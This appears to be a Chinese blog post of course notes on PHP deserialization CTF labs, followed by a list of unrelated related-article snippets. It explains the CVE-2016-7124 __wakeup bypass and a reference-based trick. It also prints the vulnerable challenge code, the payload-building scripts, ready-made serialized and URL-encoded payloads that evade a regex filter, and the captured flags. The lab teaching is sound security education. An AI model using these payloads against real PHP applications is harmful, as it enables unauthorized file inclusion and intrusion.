WEB渗透—反序列化(九)
Web渗透—反序列化 课程学习分享(课程非本人制作,仅提供学习分享)
靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili
十七、wakeup绕过
1.反序列化漏洞:CVE-2016-7124
漏洞产生原因:
如果存在__wakeup()方法,调用unserilize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行
漏洞产生版本:
PHP5<5.6.25
PHP7<7.0.10
示例:
O:4:"test":2:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}
O:4:"test":3:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}
成员属性个数值为3,但后面实际只有v1和v2两个成员属性,此时可以绕过__wakeup()方法,不触发该方法
2.实例代码
<?php
class secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){ //destruct()在反序列化之后触发include_once($this->file);echo $flag;}function __wakeup(){ //wakup()在反序列化之前触发$this->file='index.php';}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){highlight_file(__FILE__);
}else{if (preg_match('/[oc]:\d+:/i',$cmd)){ //判断O后面的是否为数字echo "Are you daydreaming?";}else{unserialize($cmd);}
}
//sercet in flag.php
?>
2.解题步骤
思路:
1)给$file赋值为”flag.php”,并创造序列化字符
2)把成员属性数量写成2,绕过__wakeup()魔术方法
3)绕过if判断语句,在数字6前面加一个”+”符号,并进行url加密
构造序列化字符:
编写代码构造序列化字符,并利用漏洞绕过__wakeup()魔术方法
<?php
class secret{var $file='flag.php';
}
echo serialize(new secret());
?>
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
O:6:"secret":2:{s:4:"file";s:8:"flag.php";}
绕过if判断语句:
通过审计代码发现对传入序列化字符进行了过滤(判断O后是否为字符,需要判断为否才能绕过)
将得到的序列化字符数字前加"+"符号,并进行URL加密
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
3.回显结果
通过cmd参数进行传参,得到flag
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
十八、引用的利用方式
1.实例代码
<?php
include("flag.php");
class just4fun {var $enter;var $secret;
}
if (isset($_GET['pass'])) {$pass = $_GET['pass'];$pass=str_replace('*','\*',$pass); //当通过pass传入"*"后会被替换为"/*"
}
$o = unserialize($pass);
if ($o) {$o->secret = "*";if ($o->secret === $o->enter) //判断enter全等于secretecho "Congratulation! Here is my secret: ".$flag;elseecho "Oh no... You can't fool me";}
else echo "are you trolling?";
?>
2.解题步骤
目的:
构造序列化字符串,让$enter的值全等于$secrt
思路:
通过构造$pass的值pass使$enter="*";但$o为反序列化$pass后的对象,且赋值$enter="*";
可以构造序列化字符串,让$enter的值引用$enter的值
构造序列化字符:
让$enter的值引用$enter的值
<?php
class just4fun {var $enter;var $secret;
}
$a = new just4fun();
$a->enter = &$a->secret; //加&符(&引用),让enter的值永远等于secret的值
echo serialize($a);
?>
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;} //R代表引用,2代表enter
3.回显示结果
通过pass参数传入题目得到flag
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
相关文章:

WEB渗透—反序列化(九)
Web渗透—反序列化 课程学习分享(课程非本人制作,仅提供学习分享) 靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场 课程地址:PHP反序列化漏洞学习_哔哩哔_…...

蓝桥杯day02——第三大的数
题目 给你一个非空数组,返回此数组中 第三大的数 。如果不存在,则返回数组中最大的数。 示例 1: 输入:[3, 2, 1] 输出:1 解释:第三大的数是 1 。 示例 2: 输入:[1, 2] 输出&…...
linux shell中set -e命令的作用
set -e 是一个在shell脚本中常用的命令,它的含义是在脚本执行过程中,如果出现任何一个命令的执行结果不是零(即命令执行失败),则立即退出整个脚本。 set -e 的用途是在脚本中进行错误处理和控制流程。通过设置set -e&…...
linux shell 字符替换命令
sed 文本 2.txt 内容如下: 1 2 3 4 511 121abcabcc1.替换文本指定字符或字符串,不更改原文件 将文本内容替换并输出,但不直接在原文档中修改: sed "s/旧字符串/新字符串/g" 文档 范例,将文本中的 1 替换为 b rootheihei:/# sed &…...

Vue3生命周期函数(简述题)
1.图示 2.说明 3.补充 1.在vue3组合式API中,我们需要将生命周期函数先导入,然后才能使用。 import {onMounted} from vue2.beforeCreate和created被setup()方法所代替...
11月29日,每日信息差//雷军个人向武汉大学捐赠13亿元现金//看电视默认设置新规一览:开机广告不超 5 秒、不设置一键付费
🎖 继长安汽车后,蔚来将与吉利控股达成换电业务合作 🎄 中国飞鹤入选工信部质量提升典型案例 🎆 雷军个人向武汉大学捐赠13亿元现金 🎇 奢侈品电商Farfetch或将私有化 🎁 亚马逊云科技宣布推出Amazon Q ✨ …...

融资经理简历模板
这份简历内容,以综合柜员招聘需求为背景,我们制作了1份全面、专业且具有参考价值的简历案例,大家可以灵活借鉴。 融资经理简历在线编辑下载:百度幻主简历 求职意向 求职类型:全职 意向岗位:融资经理 …...

iptables防火墙之SNAT与DNET
NAT 1.SNAT:让内网可以访问外网 2.DNAT:让外网可以访问到内网的机器 网关服务器,要开启路由功能 内核功能: sysctl -a 列出所有参数 内核参数,然后grep可以查看到默认的内核参数 内核参数配置文件 /etc/sysctl.…...
mysql使用--备份与恢复
1.mysqldump 1.1.使用mysqldump备份数据 1.1.1.备份指定数据库中的指定表 如:mysqldump [其他选项] 数据库名 [表1名 表2名 …] 如:mysqldump -uroot -hlocalhost -p1234 database1 student_score > student_score.sql 上述采用-u和-p完成用户登录&am…...

【vue实战项目】通用管理系统:信息列表,信息录入
本文为博主的vue实战小项目系列中的第六篇,很适合后端或者才入门的小伙伴看,一个前端项目从0到1的保姆级教学。前面的内容: 【vue实战项目】通用管理系统:登录页-CSDN博客 【vue实战项目】通用管理系统:封装token操作…...
【驱动】SPI驱动分析(六)-RK SPI驱动分析
前言 Linux的spi接口驱动实现目录在kernel\drivers\spi下。这个目录和一些层次比较明显的驱动目录布局不同,全放在这个文件夹下,因此还是只好通过看Kconfig 和 Makefile来找找思路 先看Makefile,里面关键几行: obj-$(CONFIG_SPI…...

【Linux】基础IO--文件基础知识/文件操作/文件描述符
文章目录 一、文件相关基础知识二、文件操作1.C语言文件操作2.操作系统文件操作2.1 比特位传递选项2.2 文件相关系统调用2.3 文件操作接口的使用 三、文件描述符fd1.什么是文件描述符2.文件描述符的分配规则 一、文件相关基础知识 我们对文件有如下的认识: 1.文件 …...

Intellij IDEA 的安装和使用以及配置
IDE有很多种,常见的Eclipse、MyEclipse、Intellij IDEA、JBuilder、NetBeans等。但是这些IDE中目前比较火的是Intellij IDEA(以下简称IDEA),被众多Java程序员视为最好用的Java集成开发环境,今天的主题就是IDEA为开发工…...

Zynq-Linux移植学习笔记之67- 国产ZYNQ上通过GPIO模拟MDC/MDIO协议
1、背景介绍 模块上有9个PHY,其中两个PHY通过ZYNQ PS端的MDIO总线连接,其余7个PHY单独通过GPIO进行控制,需要实现GPIO模拟MDC/MDIO协议。 2、vivado工程设计 vivado工程内为每个PHY建立两个GPIO IP核,分别用来代表MDC和MDIO&…...
Zookeeper(一)在WSL单机搭建Zookeeper伪集群
目录 Zookeeper1 启动单个Zookeeper实例1.1 下载Zookeeper安装包并解压1.2 添加环境变量1.3 修改默认配置1.4 新建数据存储目录和日志目录1.5 启动Zookeeper1.6 停止Zookeeper 2 搭建Zookeeper集群2.1 新建集群目录2.2 配置环境变量2.3 创建节点目录2.4 修改配置2.5 创建节点ID…...
QT(18):QString
目录 QStringQTypedArrayDataQTypedArrayDataQLatin1StringQStringLiteral乱码 QStringRef QString QString 存储16位QChar的字符串,其中每个QChar对应一个 UTF-16代码单元。QString 使用(写入时复制copy-on-write)来减少内存使用并避免不必…...

宏工科技通过CMMI三级认证,软件研发能力获国际权威认可
近日,宏工科技子公司湖南宏工软件成功通过CMMI三级认证并正式获得资质证书,斩获全球软件领域最权威的认证之一,标志着宏工科技在软件技术开发、研发管理、项目管理等多方面获得国际权威认证。 CMMI全称是Capability Maturity Model Integrati…...
2次MD5加密——用于分布式对话
用户端 : 指发起请求并与服务器进行交互的终端设备或应用程序。它可以是电脑、智能手机等。 用户端负责发送请求给服务端,并接收和处理服务端返回的响应。 服务端 : 是指提供服务、接收和处理用户端请求的计算机系统或应用程序。 它监听来自用…...

用Java制作简易版的王者荣耀
第一步是创建项目 项目名自拟 第二部创建个包名 来规范class 创建类 GameFrame 运行类 package com.sxt;import java.awt.Graphics; import java.awt.Image; import java.awt.Toolkit; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import j…...

android 保活的一种有效的方法
android 保活的一种有效的方法 为什么要保活 说起程序的保活,其实很多人都觉得,要在手机上进行保活,确实是想做一些小动作,其实有些正常的场景也是需要我们进行保活的,这样可以增强我们的用户体验。保活就是使得程序…...

XML Group端口详解
在XML数据映射过程中,经常需要对数据进行分组聚合操作。例如,当处理包含多个物料明细的XML文件时,可能需要将相同物料号的明细归为一组,或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码,增加了开…...

调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...
Linux简单的操作
ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...

学习STC51单片机31(芯片为STC89C52RCRC)OLED显示屏1
每日一言 生活的美好,总是藏在那些你咬牙坚持的日子里。 硬件:OLED 以后要用到OLED的时候找到这个文件 OLED的设备地址 SSD1306"SSD" 是品牌缩写,"1306" 是产品编号。 驱动 OLED 屏幕的 IIC 总线数据传输格式 示意图 …...

什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...

html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...

【7色560页】职场可视化逻辑图高级数据分析PPT模版
7种色调职场工作汇报PPT,橙蓝、黑红、红蓝、蓝橙灰、浅蓝、浅绿、深蓝七种色调模版 【7色560页】职场可视化逻辑图高级数据分析PPT模版:职场可视化逻辑图分析PPT模版https://pan.quark.cn/s/78aeabbd92d1...
C#学习第29天:表达式树(Expression Trees)
目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...
「全栈技术解析」推客小程序系统开发:从架构设计到裂变增长的完整解决方案
在移动互联网营销竞争白热化的当下,推客小程序系统凭借其裂变传播、精准营销等特性,成为企业抢占市场的利器。本文将深度解析推客小程序系统开发的核心技术与实现路径,助力开发者打造具有市场竞争力的营销工具。 一、系统核心功能架构&…...